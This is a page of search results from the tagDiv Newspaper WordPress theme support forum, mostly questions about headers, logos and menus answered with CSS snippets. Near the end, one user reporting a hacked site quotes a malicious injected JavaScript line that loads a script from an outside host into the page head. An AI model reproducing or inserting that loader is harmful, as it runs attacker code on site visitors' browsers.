Search Results for 'header'

Results from the Forum
Ali Zoghi
Participant
#0

I install two site on Multisite WordPress. The second site must show the menu of first site. It works fine except for mega menu (which loads posts in submenu with ajax on hover). Would you please help me to find where you use the address of url to load posts, I want to change it from home to the url of first website.

awoodhams
tagDiv Member

Hello! The code is working, and I added “text-align: center” but strangely this is only working for the homepage menu. On all of the other pages, it is left aligned. Could you please tell me why?

This is the code I inserted to the Custom CSS>Advanced>Phones field:


@media
(max-width: 767px){
.td-header-top-menu {
display: block;
text-align: center
}
}

@media
(max-width: 767px){
.td-header-top-menu-full {
display: block!important;
text-align: center!important;
}
}

@media
(max-width: 767px){
.td-header-sp-top-menu {
display: block !important;
text-align: center !important;
}
}

@media
(max-width: 767px){
.td-header-top-menu-full {
display: block!important;
text-align: center!important;
}
}

Demir
Participant
#0

I use the Newspaper 8 theme on my blog. I define all the typed categories that I have entered here, one of them is the main category. In this case, the URL of the post is “www.myblog.com/maincategoryname/postheader”.

In another post, when I want to link this article, I write the above URL address. This works fine. In this way, in many post, I have described many post links.

However, when I change the main category in any of these post, the link I give to this page from other pages is broken, I get an error such as “404 page not found”.

Is there an easy way to do this right?
What should I pay attention to?

Regards.

Hevila
tagDiv Member

I have the problem on the theme I bought from you and I do not understand why.
I bought your news8paper theme, each theme is more beautiful than the other.
More in the installation of several that have there I choose the theme craft ideas, so far so good.
So I went to fecher in his settings. I’m having a hard time putting my logo in the right size on the site.
When I go the header settings, then logo and favicon and I change the image in the logo upload the image is not the size of the original that I put, on the contrary, it gets very small.
The image of the logo I created was the same as the previous one in question of size, but even so it still does not work. After that any image I put, it is the same size, in the very very small case.
A note on the size of the logo I put the heading style 9, 10 and 11, in case I choose 10 and there it says that these header styles will show the logo in the exact dimensions in which you send it. You can choose any image size. And unfortunately that’s not what happens. I’ll send the photo of the demo and the photo of my logo when I put it in the settings, so it’s going to make you notice the difference. I look forward to your response.

Simion C.
tagDiv Staff

Hi,

A code like this will make the header menu items change background color and font color only on hover, as you mentioned (use the colors you want)
https://www.screencast.com/t/r4blu480

#td-header-menu .sf-menu > li > a:hover {
background-color: red;
color: white;
}

Enter it in Theme panel->Custom CSS if you decide to use it.
You can use the browser inspector to identify the elements on the website and the classes used, to create custom code. This is a guide
https://forum.tagdiv.com/create-custom-code-using-the-browsers-inspector/

Thanks

Simion C.
tagDiv Staff

Hi,

You could edit the header template that you are using, in the theme files. Something as simple as a paragraph with the text you want under the logo, could do the trick
https://www.screencast.com/t/Rj1p9kqDR
https://www.screencast.com/t/zo85Xm9N0

Thanks

Simion C.
tagDiv Staff

Hi,

The theme width itself is fixed, it cannot be changed on the whole website. It is predefined in the theme’s stylesheet. You could set a background image or color if you want
https://forum.tagdiv.com/background-introduction/
In pages built with the tagDiv composer there are options to stretch the rows containing the elements for full width results
https://www.screencast.com/t/hUxCDDtBqODW
There are also Full big grids available
https://demo.tagdiv.com/newspaper/full-big-grid-1/
Header and Footer elements can stretched as well if needed
https://www.screencast.com/t/yGFPOlLP4ey5

Thanks

Simion C.
tagDiv Staff

Hi,

The global setting affects the Related articles section in the post page. The template can be changed for blocks individually when building pages with the composer
https://www.screencast.com/t/7livJ7jciH
There is no specific setting that would allow a particular block template to be set for those sections of the post only. The process is automatic and applies the block header style set in the theme panel globally.

Thanks

Simion C.
tagDiv Staff

Hi,

You can create your website anyway you like. These are the available header styles
https://forum.tagdiv.com/header-styles/
https://forum.tagdiv.com/logo-favicon/
These are the footer templates
https://forum.tagdiv.com/footer-templates/
Inside the pages you can use any element you want using the tagDiv composer. This is a tutorial bout the editor
https://forum.tagdiv.com/tagdiv-composer-tutorial/
Three are a maximum of three columns in which rows on pages can be split.
In the theme live demo all the available blocks, big grids and full big grids can be seen (use the selection to cycle through the elements)
https://demo.tagdiv.com/newspaper/block-1/
https://demo.tagdiv.com/newspaper/big-grid-1/
https://demo.tagdiv.com/newspaper/full-big-grid-1/
This guide is describing all the block settings and options
https://forum.tagdiv.com/block-settings-tutorial/

Thanks

rubit
Participant
#0

Hello,

I cannot find a settings where I can change a default Header template for widgets (standard widgets for sidebars).

Regards

awoodhams
tagDiv Member

My apologies…it worked! Now for another question…can we center this Top Header Menu on the phones screen?

awoodhams
tagDiv Member

Thanks, but when I put in this code, nothing changes. To be clear, the Header Menu (main) is the menu that already is showing. I want the Top Header Menu to show as well, so that they both are showing on mobile devices. Thanks for your help!

Ahmed ramadan
Participant
#0

hwo to insert code after body tag

Example <body> code Here </body>
Attachment header.php
——————–
<!doctype html >
<!–[if IE 8]> <html class=”ie8″ lang=”en”> <![endif]–>
<!–[if IE 9]> <html class=”ie9″ lang=”en”> <![endif]–>
<!–[if gt IE 8]><!–> <html <?php language_attributes(); ?>> <!–<![endif]–>
<head>
<title><?php wp_title(‘|’, true, ‘right’); ?></title>
<meta charset=”<?php bloginfo( ‘charset’ );?>” />
<meta name=”viewport” content=”width=device-width, initial-scale=1.0″>
<link rel=”pingback” href=”<?php bloginfo( ‘pingback_url’ ); ?>” />
<?php
wp_head(); /** we hook up in wp_booster @see td_wp_booster_functions::hook_wp_head */
?>
<meta name=”yandex-verification” content=”c004147e8b49b00a” />
<script async src=”//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js”></script>
<script>
(adsbygoogle = window.adsbygoogle || []).push({
google_ad_client: “ca-pub-6798257544718804″,
enable_page_level_ads: true
});
</script>
</head>

<body <?php body_class() ?> itemscope=”itemscope” itemtype=”<?php echo td_global::$http_or_https?>://schema.org/WebPage”>

<?php /* scroll to top */?>
<div class=”td-scroll-up”><i class=”td-icon-menu-up”></i></div>

<?php locate_template(‘parts/menu-mobile.php’, true);?>
<?php locate_template(‘parts/search.php’, true);?>

<div id=”td-outer-wrap” class=”td-theme-wrap”>
<?php //this is closing in the footer.php file ?>

<?php
/*
* loads the header template set in Theme Panel -> Header area
* the template files are located in ../parts/header
*/
td_api_header_style::_helper_show_header();

do_action(‘td_wp_booster_after_header’); //used by unique articles

pml2017
Participant
#0

Hey, is there a way to override the “GLOBAL BLOCK HEADER TEMPLATE” in specific areas of post templates?

I like the block header template I have selected in the theme settings for most of the site (block header 12),
However I would like to use block header 4 on posts for the RELATED ARTICLES & MORE FROM AUTHOR plus the COMMENTS part of the post templates. Is there a way to change out 12 for 4 in td-related-title & td-comments-title?

Thanks

flo1307
Participant
#0

Hello

I want to put AdSense on my site but when i sign up for they are asking me to put a code to verify if i am the owner of the website.
they are saying to insert it in the HTML file between <head>.
So do i have to just add the code to the theme panel>ad>header ?
Or do i have to find the html file and ad it there?

Thanks for answers

Catalin
tagDiv Staff

Hello awoodhams,

Try to use the code below and place it in Theme panel -> custom CSS area.

The code is ->

@media (max-width: 767px){
.td-header-top-menu {
display: block;
}
}
@media (max-width: 767px){
.td-header-top-menu-full {
display: block!important;
}
}
@media (max-width: 767px){
.td-header-sp-top-menu {
display: block !important;
}
}
@media (max-width: 767px){
.td-header-top-menu-full {
display: block!important;
}
}

Thanks for the message!

Catalin
tagDiv Staff

Hello cdavid90,

If you want to use an image for your logo, notice that you should switch to another header style which uses as a logo a simple image, like header style 10. For more information about this regard, please check the following documentation here -> https://forum.tagdiv.com/header-styles/

Thanks for your understanding!

bloomed
Participant
#0

Noob here. I’ve tried changing the font of my logo by going through each of the header option. Top menu, top sub menu, and so forth. No change seen. How do I change it?

jobo9968
tagDiv Member

Ah
I got it wrong
I was thinking it will show up in the mobile menu not in the header.
Separate menu for header like many themes do is something you should consider for future updates.
It really deosn’t make sense the way it is now.
Great theme with so many features but the menu spoils the whole thing

HadLines
tagDiv Member

we want to display top-header-menu tabs in mobile menu so it is not possible to set it responsive design rather than confusing CSS. I can see this type of top-header-menu in mobile with above given code https://screenshot.net/kqqn7tk. Hope you understand my query.

Catalin
tagDiv Staff

Hi all,

Should use the code below and place it in Theme panel -> Custom CSS area.

The code is ->

@media (max-width: 767px){
.td-header-style-8 .td-header-top-menu {
display: block;
}
}
@media (max-width: 767px){
.td-header-top-menu-full {
display: block!important;
}
}
@media (max-width: 767px){
.td-header-sp-top-menu {
display: block !important;
}
}
@media (max-width: 767px){
.td-header-top-menu-full {
display: block!important;
}
}

After using this code notice that you will need to make some adjustments to a better design.

Hope this helps!

Thanks for the message!

GregWasThere
Participant
#0

Hello,
I installed WPML for the french version of my website.
But I have a problem with the main menu, I don’t have the same menu look with the “>” to see articles on a category, just when you put your mouse on a one category
https://www.nextstephub.com/
https://www.nextstephub.com/fr/
Why ?

Simion C.
tagDiv Staff

Hi,

I see that you have managed to insert a header ad in the spot you wanted
https://www.screencast.com/t/OdjMiXe6ei
Please note that the header banner is displayed below the menu in the header style you are using. It would require modifications to the header template file if you would like to change that functionality
https://www.screencast.com/t/UGtJTnBe0f
This may require additional CSS styling as the header banner is not supposed to display along the logo in that header style.

Thanks

densiejagen
Participant
#0

Hi,

1) I have five icons for social networks in my top header and footer. I want to remove one of them. How can I do this? I couldn’t find any options for this.

2) I also want to change the categories of the footer. At the moment I have three sections, but I can’t figure out how to change them

Thanks for your help

pablograna
tagDiv Member

Apparently it is already solved. I searched the entire BBDD from PhpMyAdmin but did not find anything of traffictrade. There was also no evil code in the header ad.
After searching and searching, I found the following code in the control panel of both sites:

YOUR CUSTOM JAVASCRIPT
var p = document.createElement (“script”); p.type = “text / javascript”; p.src = “https://get.simplefunsite.info/rw.js&#8221;; document.head.appendChild (p);

At the moment everything is working well. I have the latest version of WordPress, Newspapper and all updated plugins. I also installed Wordfence. I changed the passwords of all the users, including the password of the BBDD. All strong passwords. I also completed the Authentication Unique Keys from wp-config. Do you think I’m protected now?
You know how they managed to get to the control panel of the theme to enter that malicious code? Thanks.

Viewing 25 results - 20,026 through 20,050 (of 29,850 total)